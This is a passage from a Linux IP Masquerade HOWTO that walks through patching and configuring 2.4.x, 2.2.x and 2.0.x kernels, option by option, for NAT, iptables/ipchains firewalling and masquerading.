Already applied: ipt_MIRROR-ttl ipt_REJECT-checkentry ipt_LOG 2.4.1 tos-fix
Already applied: tcp-MSS 2.4.4 ip6tables-export-symbols

Testing... sackperm.patch ALREADY APPLIED (0 rejects out of 1 hunks).

Excellent! Kernel is now ready for compilation.

  • If everything patches fine, you should see something like the text

    Excellent! Kernel is now ready for compilation.

    towards the bottom of the screen.

  • Ok, the kernel is ready to go but you should make sure that you also have the iptables program on your machine too. Run the command:

    • whereis iptables

    and make sure its installed on the machine (the default place is in /usr/local/sbin/iptables. If you cannot find it in that directory or some other directory, I recommend you just compile it up. Since you already patched the kernel with the IPTABLES patches, compiling IPTABLES itself is simple to do.

    Follow these simple steps:

    • make KERNEL_DIR=/usr/src/kernel/linux

    • make install KERNEL_DIR=/usr/src/kernel/linux

  • Now that the kernel is patched up, here is the MINIMUM kernel configuration options required to enable IP Masquerade functionality. Please understand that this HOWTO illustrates just ONE way to compile a kernel. The main difference from this method vs. a different one is some people wish to compile things either as modules OR monolithically right into the kernel. Basically, compiling things as modules gives you added flexibility to what is or isn't installed into the kernel (reduces unneeded memory use and allow for drop-in upgrades [no need to reboot]) BUT they add more complexity to your configuration. On the flip side, compiling things directly into the kernel makes things simpler BUT you loose a level of flexibility. The following example is a mixture of both built-in AND modules.

    Side Note: It is assumed that you will also configure the kernel to use your other installed hardware such as network interfaces, optional SCSI controllers, etc as well. Please refer to the Linux Kernel HOWTO and the kernel source's README file and Documentation/ directory for detailed help on compiling a kernel.

Please note the YES or NO ANSWERS to the following. Not all options will be available without the proper kernel patches described later in this HOWTO.

Run the following commands to configure your kernel:

  • cd /usr/src/kernel/linux

  • make menuconfig

Please note the following kernel prompts reflect a 2.4.14 kernel:

[ Code maturity level options ]

  * Prompt for development and/or incomplete code/drivers (CONFIG_EXPERIMENTAL) [Y/n/?]
    - YES: though not required for IP MASQ, this option allows the kernel to create
           the MASQ modules and enable the option for port forwarding

  * Enable loadable module support (CONFIG_MODULES) [Y/n/?]
    - YES: allows you to load kernel IP MASQ modules

  * Set version information on all module symbols (CONFIG_MODVERSIONS) [Y/n/?]
    - YES: allows newer kernels to load older modules if possible

  * Kernel module loader (CONFIG_KMOD) [Y/n/?]
    - OPTIONAL: Recommended : allows the kernel to load various kernel modules as it needs them

  == Non-MASQ options skipped
  ==   (CPU type, memory, SMP, FPU, specific stuff)

[ General setup ]

  * Networking support (CONFIG_NET) [Y/n/?]
    - YES: Enables the network subsystem

  == Non-MASQ options skipped
  ==   (specific hardware, PCI, kernel binaries, PCMCIA, etc.)

  * Sysctl support (CONFIG_SYSCTL) [Y/n/?]
    - YES:  Enables the ability to enable disable options such as forwarding,
      dynamic IPs, etc. via the /proc interface

[ Block devices ]

  == Non-MASQ options skipped
  ==   (kernel binaries, power management, PnP, RAID, etc.)

    == Don't forget to compile in support for hardware that you might need:
    ==   IDE controllers, HDs, CDROMs, etc.

[ Networking options ]

  * Packet socket (CONFIG_PACKET) [Y/m/n/?]
    - YES: Though this is OPTIONAL, this recommended feature will allow you
           to use TCPDUMP to debug any problems with IP MASQ

  * Packet socket: mmapped IO (CONFIG_PACKET_MMAP) [N/y/?] y
    - YES: Speed up the packet protocol

  * Kernel/User netlink socket (CONFIG_NETLINK) [Y/n/?]
    - OPTIONAL:  Recommended : this feature will allow the logging of
           advanced firewall issues such as routing messages, etc

  * Routing messages (CONFIG_RTNETLINK) [N/y/?] (NEW) y
    - OPTIONAL: Allows for support of advanced kernel routing messages
                if you enabled the CONFIG_NETLINK option

  * Netlink device emulation (CONFIG_NETLINK_DEV) [N/y/m/?] (NEW)
    - NO:  This option does not have anything to do with packet firewall
           logging

  * Network packet filtering (replaces ipchains) (CONFIG_NETFILTER) [N/y/?] y
    - YES: Enable this option to let IPTABLES configure the TCP/IP subsection
           of the kernel.  By enabling this, then you can turn on advanced
           routing mechanisms like IP Masq, packet filtering, etc.

  * Network packet filtering debugging (CONFIG_NETFILTER_DEBUG) [N/y/?] (NEW) n
    - NO: Not required for Masquerading functionality though it may help
          for troubleshooting.  There might be a performance penalty when
          enabling this.

  * Socket Filtering (CONFIG_FILTER) [Y/n/?]
    - OPTIONAL:  Recommended : Though this doesn't have anything do with IPMASQ,
      if you plan on implimenting a DHCP server on the internal network, you WILL
      need to enable this option.

  * Unix domain sockets (CONFIG_UNIX) [Y/m/n/?]
    - YES:  This enables the UNIX TCP/IP sockets mechanisms

  * TCP/IP networking (CONFIG_INET) [Y/n/?]
    - YES: Enables the TCP/IP protocol

  * IP: multicasting (CONFIG_IP_MULTICAST) [N/y/?]
    - OPTIONAL:  You can enable this if you want to be able to receive
                 Multicast traffic.  Please note that your ISP must
                 support Multicast as well for this all to work at all

  * IP: advanced router (CONFIG_IP_ADVANCED_ROUTER) [Y/n/?]
    - OPTIONAL:  Though there is nothing in this section mandatory for
                 Masquerade, some specific options might be useful

    == Non-MASQ options skipped
    ==   ( autoconf, tunneling )

  * IP: multicast routing (CONFIG_IP_MROUTE) [N/y/?] n
    - OPTIONAL:  Though not needed for IPMASQ, enabling this feature will
                 let you route multicast traffic through your Linux box.
                 Please note that this requires that your ISP be multicast
                 enabled as well.

    == Non-MASQ options skipped
    ==   (ARPd)

  * IP: TCP Explicit Congestion Notification support (CONFIG_INET_ECN) [N/y/?] n
    - NO: Though enabling this option would be great, there are many Internet
          sites out there that will block this.  Hit the "?" when configuring
          the kernel to learn more about it but it is recommended to say NO for
          now.

  * IP: TCP syncookie support (disabled per default) (CONFIG_SYN_COOKIES) [Y/n/?]
    - YES: Recommended : for basic TCP/IP network security

[ Networking options --> IP: Netfilter Configuration ]

  * Connection tracking (required for masq/NAT) (CONFIG_IP_NF_CONNTRACK) [N/y/m/?] (NEW) m
    - YES: (Module) This enables the kernel to track various network connections.
           This option is required for Masquerading support as well as to enable
           Stateful tracking for various filewall mechanisms.  Please note that
           if you compile this directly into the kernel, you cannot enable
           the legacy IPCHAINS or IPFWADM compatibility modules.

  * FTP protocol support (CONFIG_IP_NF_FTP) [M/n/?] (NEW) m
    - YES: (Module) This enables the proper Masquerading of FTP connections if
           CONFIG_IP_NF_CONNTRACK was enabled above

  * IRC protocol support (CONFIG_IP_NF_IRC) [M/n/?] (NEW) m
    - YES: (Module) This enables the proper Masquerading of IRC connections if
           CONFIG_IP_NF_CONNTRACK was enabled above

  * Userspace queueing via NETLINK (EXPERIMENTAL) (CONFIG_IP_NF_QUEUE) [N/y/m/?] (NEW) m
    - OPTIONAL: Though this is OPTIONAL, this feature will allow IPTABLES to
                copy specific packets to UserSpace tools for additional checks

  * IP tables support (required for filtering/masq/NAT) (CONFIG_IP_NF_IPTABLES) [N/y/m/?] (NEW) m
    - YES: (Module) Enables IPTABLES support

  * limit match support (CONFIG_IP_NF_MATCH_LIMIT) [N/y/m/?] (NEW) y
    - OPTIONAL:  (Module) Recommended : Though not required, this option can used to
                 enable rate limiting of both traffic and loggin messages help slow down denial
                 of service (DoS) attacks.

  * MAC address match support (CONFIG_IP_NF_MATCH_MAC) [N/y/m/?] (NEW) m
    - OPTIONAL:  Though not required, the option can allow you to
                 filter traffic based upon the SOURCE Ethernet MAC address.

  * netfilter MARK match support (CONFIG_IP_NF_MATCH_MARK) [N/y/m/?] (NEW) y
    - YES: (Module) Recommended : This enables IPTABLES to take action upon marked packets.
           This mechanism can allow for PORTFW functionality, TOS marking, etc.

  * Multiple port match support (CONFIG_IP_NF_MATCH_MULTIPORT) [N/y/m/?] (NEW) y
    - YES: (Module) Recommended : This enables IPTABLES to accept mutliple SRC/DST port
           ranges (non-contiguous) instead of one port range per IPTABLES
           statement.

  * TOS match support (CONFIG_IP_NF_MATCH_TOS) [Y/m/n/?] n
    - OPTIONAL:  This allows IPTABLES to match packets based upon their
                 DIFFSERV settings.

  * LENGTH match support (CONFIG_IP_NF_MATCH_LENGTH) [N/m/?] (NEW) n
    - OPTIONAL:  This allows IPTABLES to match packets based upon their
                 packet length.

  * TTL match support (CONFIG_IP_NF_MATCH_TTL) [N/m/?] (NEW) ? n
    - OPTIONAL:  This allows IPTABLES to match packets based upon their
                 TTL settings.

  * tcpmss match support (CONFIG_IP_NF_MATCH_TCPMSS) [N/y/m/?] m
    - OPTIONAL: (Module) Recommended :  This option allows users to examine the MSS value in
                 TCP SYN packets.  This is an advanced knob but can be very valuable in
                 troubleshooting MTU problems.

  * Connection state match support (CONFIG_IP_NF_MATCH_STATE) [M/n/?]  m
    - YES: (Module) Recommended : This option allows for Stateful tracking of network
            connections.

  * Unclean match support (EXPERIMENTAL) (CONFIG_IP_NF_MATCH_UNCLEAN) [N/y/m/?] y
    - YES: (Module) Recommended :  This option allows for connection tracking on odd packets.
           It cal also help in the detection of possibly malicious packets.
            This can be a valuable tool in tracking hostile people on the network.

  * Owner match support (EXPERIMENTAL) (CONFIG_IP_NF_MATCH_OWNER) [N/y/m/?] n
    - OPTIONAL:  This option allows IPTABLES to match traffic based upon the
                 user login, group, etc. who created the traffic.

  * Packet filtering (CONFIG_IP_NF_FILTER) [N/y/m/?] ? y
    - YES: (Module) This option allows for the kernel to be able filter traffic at
            the INPUT, FORWARDING, and OUTPUT traffic points.

  * REJECT target support (CONFIG_IP_NF_TARGET_REJECT) [N/y/m/?] (NEW) y
    - YES: (Module) With this option, a packet firewall can send an ICMP Reject packet
            back to the originator when a packet is blocked.

  * MIRROR target support (EXPERIMENTAL) (CONFIG_IP_NF_TARGET_MIRROR) [N/y/m/?] (NEW) n
    - OPTIONAL: This option allows the packet firewall to mirror the exact same
                network packet back to the originator when it is supposed to be
                blocked.  This is similar to the REJECT option above but it actually
                sends the original packet back to the originator.  i.e. a
                hostile user could actually portscan themselves.

  * Full NAT (CONFIG_IP_NF_NAT) [M/n/?] m
    - YES: (Module) This option enables the future menus to enable Masquerading,
           PORTFWing, Full (1:1) NAT, etc.

  * MASQUERADE target support (CONFIG_IP_NF_TARGET_MASQUERADE) [M/n/?] (NEW) m
    - YES: (Module) This option specifically enables Masquerade into the
           kernel

  * REDIRECT target support (CONFIG_IP_NF_TARGET_REDIRECT) [N/y/m/?] n
    - OPTIONAL: Not needed for normal MASQ functionality though people who
                want to do transparent proxy via Squid will want this.

  * Basic SNMP-ALG support (EXPERIMENTAL) (CONFIG_IP_NF_NAT_SNMP_BASIC) [N/m/?] n
    - OPTIONAL: This enables IPTABLES to properly NAT internal SNMP packets so
                that machines with duplicate addressing ranges can be properly
                managed.

  * Packet mangling (CONFIG_IP_NF_MANGLE) [N/y/m/?] y
    - YES: (Module) This option allows for advanced IPTABLES packet manipulation
           options.

  * TOS target support (CONFIG_IP_NF_TARGET_TOS) [N/y/m/?] (NEW) n
    - OPTIONAL: Enables the kernel to modify the TOS field in a packet
           before routing it on

  * MARK target support (CONFIG_IP_NF_TARGET_MARK) [N/y/m/?] (NEW) m
    - OPTIONAL: (Module) Recommended : This enables the kernel to manipulate
                packets based upon the MARK field.  This can be used for PORTFW
                as well as many other things.

  * LOG target support (CONFIG_IP_NF_TARGET_LOG) [N/y/m/?]  m
    - YES: (Module)  This allows for the logging of packets before they are accepted,
           denied, rejected, etc.

  * TCPMSS target support (CONFIG_IP_NF_TARGET_TCPMSS) [N/y/m/?] ? m
    - YES: (Module) This option help some people with MTU problems.  Typically,
           most users have to set their Internet connection's MTU to
           1500 as well as ALL internal machines to 1500.  With this
           option, this whole MTU issue might be finally solved.

  * ipchains (2.2-style) support (CONFIG_IP_NF_COMPAT_IPCHAINS) [N/y/m/?] m
    - OPTIONAL: (Module) Recommended : If you have an existing IPCHAINS ruleset
           (2.2.x kernels) and enable this option, you can continue to use the
           IPCHAINS program and the majority of your old ruleset except for the
           use of any 2.2.x kernel-specific modules.  Please note that if this
           IPCHAINS module is loaded, ALL IPTABLES modules will be non-
           operational.  This is an either/or deal only intended for legacy
           rulesets.

  * ipfwadm (2.0-style) support (CONFIG_IP_NF_COMPAT_IPFWADM) [N/y/m/?] n
    - OPTIONAL: If you have an existing IPFWADM ruleset (2.0.x kernels) and
           enable this option, you can continue to use the IPFWADM program and
           the majority of your old ruleset except for the use of any 2.0.x
           kernel-specific modules.   Please note that if this IPFWADM module
           is loaded, ALL IPTABLES modules will be non operational.  This is
           an either/or deal only intended to support legacy rulesets.

    == Non-MASQ options skipped
    ==   (IPv6, khttpd, ATM, IPX, AppleTalk, etc.) --

  * Fast switching (read help!) (CONFIG_NET_FASTROUTE) [N/y/?] n
    - NO: This performance optimization is NOT compatible with IP MASQ and/or
          packet filtering

    == Non-MASQ options skipped
    == (QoS, Telephony, IDE, SCSI, 1394FW, I2O, etc)

      == Don't forget to compile in support for hardware that you might need:
      ==   IDE:    HDs, CDROMs, etc.
      ==   SCSI:   HDs, CDROMs, etc.

[ Network device support ]

  * Network device support (CONFIG_NETDEVICES) [Y/n/?]
    - YES: Enables the Linux Network device sublayer

    == Non-MASQ options skipped
    ==   (Arcnet)

  * Dummy net driver support (CONFIG_DUMMY) [M/n/y/?]
    - YES:  Though OPTIONAL, this option can help when debugging problems

    == Non-MASQ options skipped
    == (EQL, etc..)

    == Don't forget to compile in support for hardware that you might need:
    ==   NICs:   eth, tr, etc.
    ==   MODEMs: ppp (ppp async) and/or slip
    ==   WANs:   T1, T3, ISDN, etc.
    ==   ISDN:   for internal ISDN modems

    == Non-MASQ options skipped
    ==   (Amateur Radio, IrDA, ISDN, USB, etc.)

[ Character devices ]

    == Don't forget to compile in serial port support if you are a modem user
    == Don't forget to compile in mouse support

    == Non-MASQ options skipped
    ==   (I2C, Watchdog cards, Ftape, Video for Linux, etc. )

[ File systems ]

    == Non-MASQ options skipped
    ==   (Quota, ISO9660, NTFS, etc )

  * /proc filesystem support (CONFIG_PROC_FS) [Y/n/?]
    - YES:  Required to dynamically configure the Linux forwarding
            and NATing systems

    == Non-MASQ options skipped
    ==   (Console drivers, Sound, USB, Kernel Hacking)
So go ahead and select "exit" and you should be prompted to save your config.

NOTE: These are just the components you need for IP Masquerade. You will need to select whatever other options needed for your specific setup. If you want more information on what each one of these kernel modules does, please see the FAQ section of this HOWTO for details.

  • Now compile the kernel (make dep; make clean; make bzImage; make modules; make modules_install) , etc. Again, it is beyond the scope of this HOWTO if you have problems compiling your kernel. Please see Section 2.6 for URLs to the KERNEL howto, etc.

  • You will then have move over the kernel binary, update your bootloader (LILO, Grub, etc.), and reboot. If you have questions about kernel compiling, I highly recommend to consult some of the URLs above in this section.

  • Then you should add a few lines towards the bottom of your /etc/rc.d/rc.local file to load the IP Masquerade ruleset automatically after each reboot:
            .
        .
        .
        #rc.firewall - Start IPMASQ and the firewall
        #              This specific file will be discussed in the next section
        #
        /etc/rc.d/rc.firewall
        .
        .
        .

3.2.2. Compiling Linux 2.2.x Kernels

Please see Section 2.7 for any required software, patches, etc.

  • First of all, you need the kernel source for 2.2.x (preferably the latest kernel version)

    • NOTE #1: --- UPDATE YOUR KERNEL --- Linux 2.2.x kernels less than version 2.2.20 contain several different security vulnerabilities (some were MASQ specific). Kernels less than 2.2.20 have a few local vulnerabilities. Kernel versions less than 2.2.16 have a TCP root exploit vulnerability and versions less than 2.2.11 have a IPCHAINS fragmentation bug. Because of these issues, users running a firewall with strong IPCHAINS rulesets are open to possible instrusion. Please upgrade your kernel to a fixed version.

    • NOTE #2: As the 2.2.x train progressed, the compile-time options keep on changing. As of this version, this section reflects the settings for a 2.2.20 kernel.

      If you are running either a newer or older kernel version, the dialogs will look different. It is recommended that you update to the newest kernel for added capability and stability of the system.

  • If this is your first time compiling the kernel, don't be scared. In fact, it's rather easy and it's covered in several URLs found in Section 2.7. Please note that the instructions included here is just one way to do build a kernel. Please see the Kernel HOWTO for full details.

    NOTE: Please notice that it isn't recommended to put the new kernel sources into /usr/src/linux. You should leave the original kernel sources that came with your Linux distribution in /usr/src/linux. For more details on this topic, please read the "README" file in the top level directory of your kernel sources.

  • For this HOWTO example, create a directory called /usr/src/kernel. Next, "cd" into this directory and download the newest 2.2.x kernel sources into it. Once downloaded, issue the following command (if the file ends in a .tar.gz): tar xvzf linux-2.2.x.tar.gz or (if the file ends in a .tar.bzip2): tar xyvf linux-2.2.x.tar.bz2. Please substitute the "x" in the 2.2.x filename with the Linux 2.2 kernel version you downloaded.

    NOTE: Some Linux distributions use the "I" option instead of the "y" option to decompress bzip2 archives.

    Once uncompressed, I recommend that you rename the directory from "linux" to "linux-2.2.x" for clarity. To do this, run the command mv linux linux-2.2.x. Next, make sure there is a directory or symbolic link pointing to /usr/src/kernel/linux ie. run the command: ln -s /usr/src/kernel/linux-2.2.x /usr/src/kernel/linuxo again subsituting the "x" for your proper kernel version.

  • Apply any appropriate or optional patches to the kernel source code. By default, stock Linux kernels do not require any specific patching in order for the system to work. Features like PPTP/IPSEC masqurading are already built-in in the newest kernels but other tools like Xwindows forwarders are optional. Please refer to Section 2.7 for URLs and the IP Masquerade Resources for up-to-date information and patch URLs.

  • Now that the kernel is patched up (if required), here are the MINIMUM kernel configuration options required to enable IP Masquerade functionality. Please understand that this HOWTO illustrates just ONE way to compile a kernel. The main difference from this method vs. a different one is some people wish to compile things either as modules OR monolithically right into the kernel. Basically, compiling things as modules gives you added flexibility to what is or isn't installed into the kernel (reduces unneeded memory use and allow for drop-in upgrades [no need to reboot]) BUT they add more complexity to your configuration. On the flip side, compiling things directly into the kernel makes things simpler BUT you loose a level of flexibility. The following example is a mixture of both built-in AND modules.

    Side Note: It is assumed that you will also configure the kernel to use your other installed hardware such as network interfaces, optional SCSI controllers, etc. as well. Please refer to the Linux Kernel HOWTO and the kernel source's README file and Documentation/ directory for detailed help on compiling a kernel.

Please note the YES or NO ANSWERS to the following. Not all options will be available without the proper kernel patches described later in this HOWTO.

Run the following commands to configure your kernel:

  • cd /usr/src/kernel/linux

  • make menuconfig

The following kernel prompts reflect a 2.2.20 kernel:

[ Code maturity level options ]

  * Prompt for development and/or incomplete code/drivers (CONFIG_EXPERIMENTAL) [Y/n/?]
    - YES: though not entirely required for IP MASQ, this option allows the kernel
           to create possible additional MASQ modules such as PORTFW, etc.

  == Non-MASQ options skipped
  ==   (CPU, memory, MTRR, SMP, etc.)

[ Loadable module support ]

  * Enable loadable module support (CONFIG_MODULES) [Y/n/?] y
    - YES: allows you to load kernel IP MASQ modules

  * Set version information on all symbols for modules (CONFIG_MODVERSIONS) [N/y/?] y
    - YES: allows newer kernels to load older modules if possible

  * Kernel module loader (CONFIG_KMOD) [Y/n/?] y
    - OPTIONAL: Recommended : allows the kernel to load various kernel modules as
         it needs them

[ General setup ]

  * Networking support (CONFIG_NET) [Y/n/?]
    - YES: This enables the network subsystem

  == Non-MASQ options skipped
  ==   (PCI, kernel binaries, specific hardware options, etc.)

  * Sysctl support (CONFIG_SYSCTL) [Y/n/?]
    - YES:  Enables the ability to enable disable options such as forwarding,
      dynamic IPs, etc. via the /proc interface

[ Block devices ]

  == Non-MASQ options skipped
  ==   (kernel binaries, power management, PnP, IDE, SCSI, etc.)

    == Don't forget to compile in support for hardware that you might need:
    ==   IDE controllers, HDs, CDROMs, etc.

[ Networking options ]

  * Packet socket (CONFIG_PACKET) [Y/m/n/?] y
    - YES: Though this is OPTIONAL, this recommended feature will allow you
           to use TCPDUMP to debug any problems with IP MASQ

  * Kernel/User netlink socket (CONFIG_NETLINK) [Y/n/?] y
    - OPTIONAL: Recommended :  This feature will allow the logging of
           advanced firewall issues such as routing messages, etc

  * Routing messages (CONFIG_RTNETLINK) [Y/n/?] y
    - OPTIONAL: If you enabled the CONFIG_NETLINK option above, this option
           will send routing messages and other information to SYSLOG.

  * Netlink device emulation (CONFIG_NETLINK_DEV) [N/y/m/?] (NEW) n
    - NO:  This option does not have anything to do with packet firewall
           logging

  * Network firewalls (CONFIG_FIREWALL) [Y/n/?] y
    - YES: Enables the kernel to be comfigured by the IPCHAINS firewall tool

  * Socket Filtering (CONFIG_FILTER) [Y/n/?] y
    - OPTIONAL:  Though this doesn't have anything do with IPMASQ, if you
         plan on implimenting a DHCP server on the internal network, you
         WILL need this option.

  * Unix domain sockets (CONFIG_UNIX) [Y/m/n/?] y
    - YES:  This enables the UNIX TCP/IP sockets mechanisms

  * TCP/IP networking (CONFIG_INET) [Y/n/?] y
    - YES: Enables the TCP/IP protocol

  * IP: multicasting (CONFIG_IP_MULTICAST) [N/y/?] y
    - OPTIONAL:  You can enable this if you want to be able to receive
                 Multicast traffic.  Please note that your ISP must
                 support Multicast as well for this all to work

  * IP: advanced router (CONFIG_IP_ADVANCED_ROUTER) [Y/n/?] n
    - OPTIONAL:  Though there is nothing in this section mandatory for
                 Masquerade, some specific options might be useful

  * IP: kernel level autoconfiguration (CONFIG_IP_PNP) [N/y/?] ?
    - NO:  Not needed for normal MASQ functionality

  * IP: firewalling (CONFIG_IP_FIREWALL) [Y/n/?] y
    - YES: This enables the kernel to support packet filtering, NAT, etc.

  * IP: firewall packet netlink device (CONFIG_IP_FIREWALL_NETLINK) [Y/n/?] n
    - OPTIONAL: Though this is OPTIONAL, this feature will allow IPCHAINS to
                copy some packets to UserSpace tools for additional checks

  * IP: transparent proxy support (CONFIG_IP_TRANSPARENT_PROXY) [N/y/?] n
    - OPTIONAL:  Not needed for normal MASQ functionality though people who
           want to do transparent proxy via Squid will want this.  Please note
           that there is a PERFORMANCE PENALTY enabling this feature.

  * IP: masquerading (CONFIG_IP_MASQUERADE) [Y/n/?] y
    - YES: Enable IP Masquerade to re-address specific internal to external
           TCP/IP packets

  * IP: ICMP masquerading (CONFIG_IP_MASQUERADE_ICMP) [Y/n/?] y
    - YES: Enable support for masquerading ICMP ping packets (ICMP error
           codes will be MASQed regardless).  This is an important feature
           for troubleshooting connections.

  * IP: masquerading special modules support (CONFIG_IP_MASQUERADE_MOD) [Y/n/?] y
    - YES: Though OPTIONAL, this enables the option to later enable other
           modules like the PORTFW to give external computers a directly
           connection to specified internal MASQed machines.

  * IP: ipautofw masq support (EXPERIMENTAL) (CONFIG_IP_MASQUERADE_IPAUTOFW) [N/y/m/?] n
    - NO:  NOT recommended : IPautofw is a legacy method of port forwarding.  It
           is mainly old code and has been found to have some issues.

  * IP: ipportfw masq support (EXPERIMENTAL) (CONFIG_IP_MASQUERADE_IPPORTFW) [Y/m/n/?] y
    - OPTIONAL: Recommended : This enables PORTFW which allows external computers
           on the Internet to directly communicate to specified internal MASQed
           machines.  This feature is typically used to allow access to internal
           SMTP, TELNET, and WWW servers.  Please note that FTP port forwarding
           needs an additional patch, as described in the FAQ section of the MASQ
           HOWTO.  Please see the this FAQ section in the HOWTO for additional
           information.

  * IP: ip fwmark masq-forwarding support (EXPERIMENTAL) (CONFIG_IP_MASQUERADE_MFW) [Y/m/n/?] y
    - OPTIONAL:  This is a NEW method of performing PORTFW-like functionality which is
           similar to how the new 2.4.x kernels do things.  With this option, IPCHAINS
           can mark packets that should have additional work done upon it.  Using a
           UserSpace tool, much like IPMASQADM or IPPORFW, IPCHAINS would then
           do things like re-address the packets, change their TOS value, etc.
           Currently, this code is less tested than PORTFW but it looks promising.
           For now, this HOWTO recommends to use IPMASQADM and IPPORTFW.  If you
           have specific thoughts or comments on MFW, please email dranch.

  * IP: optimize as a router not host (CONFIG_IP_ROUTER) [Y/n/?] y
    - YES:  This optimizes the kernel for the network subsystem, though it
            isn't well known if this makes a siginificant performance difference
            or not.

  == Non-MASQ options skipped
  ==   ( autoconf, tunneling, GRE )

  * IP: multicast routing (CONFIG_IP_MROUTE) [N/y/?] n
    - OPTIONAL:  Though not needed for IPMASQ, enabling this feature will
                 let you route multicast traffic through your Linux box.
                 Please note that this requires that your ISP be multicast
                 enabled as well.

    == Non-MASQ options skipped
    ==  (Aliasing, ARPd)

  * IP: TCP syncookie support (disabled per default) (CONFIG_SYN_COOKIES) [Y/n/?]
    - YES: Recommended : for basic TCP/IP network security

  * IP: GRE tunnels over IP (CONFIG_NET_IPGRE) [N/y/m/?]
    - NO:   This OPTIONAL selection is to enable PPTP and GRE tunnels through
            the IP MASQ box

    == Non-MASQ options skipped
    ==   (aliasing, ARPd)

  * IP: TCP syncookie support (not enabled per default) (CONFIG_SYN_COOKIES) [Y/n/?]
    - YES: HIGHLY recommended for basic TCP/IP network security

    == Non-MASQ options skipped
    ==  (RARP)

  * IP: Allow large windows (not recommended if <16Mb of memory) * (CONFIG_SKB_LARGE) [Y/n/?]
    - YES:  This is recommended to optimize Linux's TCP window

    == Non-MASQ options skipped
    ==   (IPv6, IPX, WAN router, etc.)

  * Fast switching (read help!) (CONFIG_NET_FASTROUTE) [N/y/?] n
    - NO: This performance optimization is NOT compatible with IP MASQ and/or
          packet filtering

  == Non-MASQ options skipped
  == (Slow CPU, Telephony, SCSI, I2O, etc. )

    == Don't forget to compile in support for hardware that you might need:
    ==   SCSI:   HDs, CDROMs, etc.

[ Network device support ]

  * Network device support (CONFIG_NETDEVICES) [Y/n/?]
    - YES: Enables the Linux Network device sublayer

  == Non-MASQ options skipped
  ==   (Arcnet)

  * Dummy net driver support (CONFIG_DUMMY) [M/n/y/?]
    - YES:  Though OPTIONAL, this option can help when debugging problems

  == Non-MASQ options skipped
  == (EQL, NICs, Wireless, IrDA, ISDN, etc..)

    == Don't forget to compile in support for hardware that you might need:
    ==   NICs:   eth, tr, etc.
    ==   MODEMs: ppp and/or slip
    ==   WANs:   T1, T3, ISDN, etc.
    ==   ISDN:   for internal ISDN modems

 [ Character devices ]

  == Don't forget to compile in serial port support for modem users
  == Don't forget to compile in mouse support

  == Non-MASQ options skipped
  ==   (I2C, Watchdog cards, Ftape, Video for Linux, USB, etc. )

[ File systems ]

  == Non-MASQ options skipped
  ==   (Quota, ISO9660, NTFS, etc )

  * /proc filesystem support (CONFIG_PROC_FS) [Y/n/?]
    - YES:  Required to dynamically configure the Linux forwarding
            and NATing systems

  == Non-MASQ options skipped
  ==   (network fs, NLS, video section, sound, kernel hacking)
So go ahead and "exit" and you should be prompted to save your config.

NOTE: These are just the components you need for IP Masquerade. You will need to select whatever other options needed for your specific setup.

  • Now compile the kernel (make dep; make clean; make bzImage; make modules; make modules_install) , etc. Again, it is beyond the scope of this HOWTO if you have problems compiling your kernel. Please see Section 2.7 for URLs to the KERNEL howto, etc.

  • You will then have move over the kernel binary, update your bootloader (LILO, Grub, etc.), and reboot. If you have questions about kernel compiling, I highly recommend to consult some of the URLs above in this section.

  • Then you should add a few lines towards the bottom of your /etc/rc.d/rc.local file to load the IP Masquerade ruleset automatically after each reboot:
            .
        .
        .
        #rc.firewall - Start IPMASQ and the firewall
        #              This specific file will be discussed in the next section
        #
        /etc/rc.d/rc.firewall
        .
        .
        .

3.2.3. Linux 2.0.x Kernels

Please see Section 2.8 for any required software, patches, etc.

  • First of all, you need the kernel source for 2.0.x (preferably the latest kernel version)

    • As the 2.0.x train progress, the compile-time options keep on changing. As of this version, this section reflects the settings for a 2.0.39 kernel.

  • If this is your first time compiling the kernel, don't be scared. In fact, it's rather easy and it's covered in several URLs found in Section 2.8. Please note that the instructions included here is just one way to do build a kernel. Please see the Kernel HOWTO for full details.

    NOTE: Please notice that it isn't recommended to put the new kernel sources into /usr/src/linux. You should leave the original kernel sources that came with your Linux distribution in /usr/src/linux. For more details on this topic, please read the "README" file in the top level directory of your kernel sources.

  • For this HOWTO example, create a directory called /usr/src/kernel. Next, "cd" into this directory and download the newest 2.0.x kernel sources into it. Once downloaded, issue the following command: tar xvzf linux-2.0.x.tar.gz . Please substitute the "x" in the 2.0.x filename with the Linux 2.0 kernel version you downloaded.

    Once uncompressed, I recommend that you rename the directory from "linux" to "linux-2.0.x" for clarity. To do this, run the command mv linux linux-2.0.x. Next, make sure there is a directory or symbolic link pointing to /usr/src/kernel/linux ie. run the command: ln -s /usr/src/kernel/linux-2.0.x /usr/src/kernel/linuxo again subsituting the "x" for your proper kernel version.

  • Apply any appropriate or optional patches to the kernel source code. By default, stock Linux kernels do not require any specific patching in order for the system to work. Features like IPPORTFW, PPTP, and Xwindows forwarders are optional but very useful. Please refer to Section 2.8 for URLs and the IP Masquerade Resources for up-to-date information and patch URLs.

  • Now that the kernel is patched up (if required), here are the MINIMUM kernel configuration options required to enable IP Masquerade functionality. Please understand that this HOWTO illustrates just ONE way to compile a kernel. The main difference from this method vs. a different one is some people wish to compile things either as modules OR monolithically right into the kernel. Basically, compiling things as modules gives you added flexibility to what is or isn't installed into the kernel (reduces unneeded memory use and allow for drop-in upgrades [no need to reboot]) BUT they add more complexity to your configuration. On the flip side, compiling things directly into the kernel makes things simpler BUT you loose a level of flexibility. The following example is a mixture of both built-in AND modules.

    Side Note: It is assumed that you will also configure the kernel to use your other installed hardware such as network interfaces, optional SCSI controllers, etc. as well. Please refer to the Linux Kernel HOWTO and the kernel source's README file and Documentation/ directory for detailed help on compiling a kernel.

Please note the YES or NO ANSWERS to the following options. Not all options will be available without the proper kernel patches described later in this HOWTO:

Run the following commands to configure your kernel:

  • cd /usr/src/kernel/linux

  • make menuconfig

The following kernel prompts reflect a 2.0.39 kernel:

[ Code maturity level options ]

  * Prompt for development and/or incomplete code/drivers (CONFIG_EXPERIMENTAL) [Y/n/?]
    - YES: this will allow you to later select the IP Masquerade feature code

[ Loadable module support ]

  * Enable loadable module support (CONFIG_MODULES) [Y/n/?] y
    - YES: allows you to load kernel IP MASQ modules

  * Set version information on all module symbols (CONFIG_MODVERSIONS) [N/y/?] y
    - YES: allows newer kernels to load older modules if possible

  * Kernel daemon support (e.g. autoload of modules) (CONFIG_KERNELD) [N/y/?] y
    - OPTIONAL: Recommended : allows the kernel to load various kernel modules as
         it needs them

[ General setup ]

  == Non-MASQ options skipped
  ==   (FPU, memory)

  * Networking support (CONFIG_NET) [Y/n/?] y
    - YES: Enables the network subsystem

  == Non-MASQ options skipped
  ==   (memory, PCI, binary format, APM, etc.)

    == Don't forget to compile in support for hardware that you might need:
